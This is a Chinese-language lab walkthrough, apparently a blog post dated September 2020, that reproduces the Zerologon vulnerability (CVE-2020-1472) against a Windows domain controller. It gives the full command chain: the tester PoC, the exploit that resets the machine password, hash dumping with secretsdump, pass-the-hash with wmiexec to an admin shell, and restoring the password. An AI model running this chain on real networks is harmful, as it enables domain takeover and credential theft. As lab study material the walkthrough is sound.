漏洞介绍

NetLogon组件Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

漏洞影响的版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

实验环境

攻击机:kali

靶机:windows2008

漏洞复现

漏洞复现所利用脚本

https://github.com/SecuraBV/CVE-2020-1472        poc
https://github.com/dirkjanm/CVE-2020-1472         exp
https://github.com/SecureAuthCorp/impacket

1.首先我们需要一个域环境

2.安装漏洞利用脚本所需的模块,然后使用POC进行测试

python3 -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/

完成模块的安装之后,我们就进行漏洞的验证,命令的格式python3 脚本名 计算机名 ip

python3 zerologon_tester.py owa 192.168.252.138

3.接下来就使用exp进行攻击,不过我们还需要安装一个模块impacket,下载地址

https://github.com/SecureAuthCorp/impacket

下载后切换到其压缩过的根目录下进行安装

安装完成之后运行exp

python3 cve-2020-1472-exploit.py owa 192.168.52.138

4.接下来我们使用impacket中的secretsdump.py导出域控制器上的hash,这个脚本文件在我们下载的impacket\examples下,命令如下。

python3 secretsdump.py god.org/owa\$@192.168.52.138 -no-pass

最终获取到管理员的hash。

5.接着我们就利用获取到的hash来进行远程管理域控服务器,这个脚本和secretsdump在同目录下。

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:b88129079ba7a0bd870381cda51432bf god.org/用户名@192.168.52.138

我们可以看到已经反弹了管理员的shell

6.利用获取到的管理员的hash远程连接导出sam数据库中原来的计算机hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

7.恢复计算机的hash,所利用脚本链接如下

https://github.com/risksense/zerologon

命令如下,需要注意的是,这里我们使用的hash是之前获取到的:后面的后半部分,具体可以对比上图。

python3 reinstall_original_pw.py owa 192.168.52.138 c01015f0a68e29aac2e141563f6b9423

8.验证hash是否恢复

首先这是我们在恢复hash之前使用impacket的脚本来登录域控来验证hash

python3 secretsdump.py god.org/用户名:密码@192.168.52.138 -just-dc-user owa\$

恢复hash之后

最后修改:2020 年 09 月 16 日 12 : 43 PM